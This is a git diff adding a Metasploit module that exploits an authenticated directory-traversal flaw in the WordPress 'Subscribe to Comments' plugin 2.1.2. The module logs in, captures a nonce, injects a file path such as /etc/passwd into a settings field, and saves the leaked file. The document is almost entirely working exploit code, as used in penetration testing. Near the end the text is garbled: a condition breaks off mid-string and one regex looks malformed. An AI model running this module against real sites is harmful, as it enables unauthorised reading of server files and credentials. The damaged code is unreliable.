diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb new file mode 100644 index 0000000000..76a7a24e53 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Subscribe Comments File Read Vulnerability', + 'Description' => %q{ + This module exploits a authenticated directory traversal vulnerability + in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing + to read arbitrary files with the web server privileges. + }, + 'References' => + [ + ['WPVDB', '8102'] + ], + 'Author' => + [ + 'Tom Adams ', # Vulnerability Discovery + 'Roberto Soares Espreto ' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) + ], self.class) + end + + def user + datastore['WP_USER'] + end + + def password + datastore['WP_PASS'] + end + + def check + check_plugin_version_from_readme('subscribe-to-comments', '2.3') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'), + 'method' => 'GET', + 'vars_get' => { + 'page' => 'stc-options' + }, + 'cookie' => cookie + ) + + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + if res && res.body && res.body =~ /id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)" / + return Regexp.last_match[1] + end + nil + end + + def down_file(cookie, nonce) + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ %r{/^///} + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'), + 'vars_get' => { + 'page' => 'stc-options' + }, + 'vars_post' => { + 'sg_subscribe_settings[name]' => '', + 'sg_subscribe_settings[email]' => '', + 'sg_subscribe_settings[clear_both]' => 'clear_both', + 'sg_subscribe_settings[not_subscribed_text]' => 'teste', + 'sg_subscribe_settings[subscribed_text]' => 'teste', + 'sg_subscribe_settings[author_text]' => '', + 'sg_subscribe_settings[use_custom_style]' => 'use_custom_style', + 'sg_subscribe_settings[header]' => "#{filename}", + 'sg_subscribe_settings[sidebar]' => '', + 'sg_subscribe_settings[footer]' => '', + 'sg_subscribe_settings[before_manager]' => '', + 'sg_subscribe_settings[after_manager]' => '', + 'sg_subscribe_settings_submit' => 'Update Options', + '_wpnonce' => "#{nonce}", + '_wp_http_referer' => '/wp-admin/options-general.php?page=stc-options' + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body.include?("

Options saved.") + return res.body + end + nil + end + + def run_host(ip) + vprint_status("#{peer} - Trying to login as: #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as: #{user}") + return + end + + vprint_status("#{peer} - Trying to get nonce...") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + vprint_status("#{peer} - Got nonce: #{nonce}") + + vprint_status("#{peer} - Trying to download filepath.") + file_path = down_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error downloading filepath.") + return + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'wp-subscription-manager' => '1' + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && + res.body.length > 830 && + res.body.include?(">Find Subscriptions 830 + + res_clean = res.body.gsub(/\t/, '').gsub(/\r\n/, '').gsub(/<.*$/, "") + + vprint_line("\n#{res_clean}") + fname = datastore['FILEPATH'] + path = store_loot( + 'subscribecomments.traversal', + 'text/plain', + ip, + res_clean, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.") + end + end +end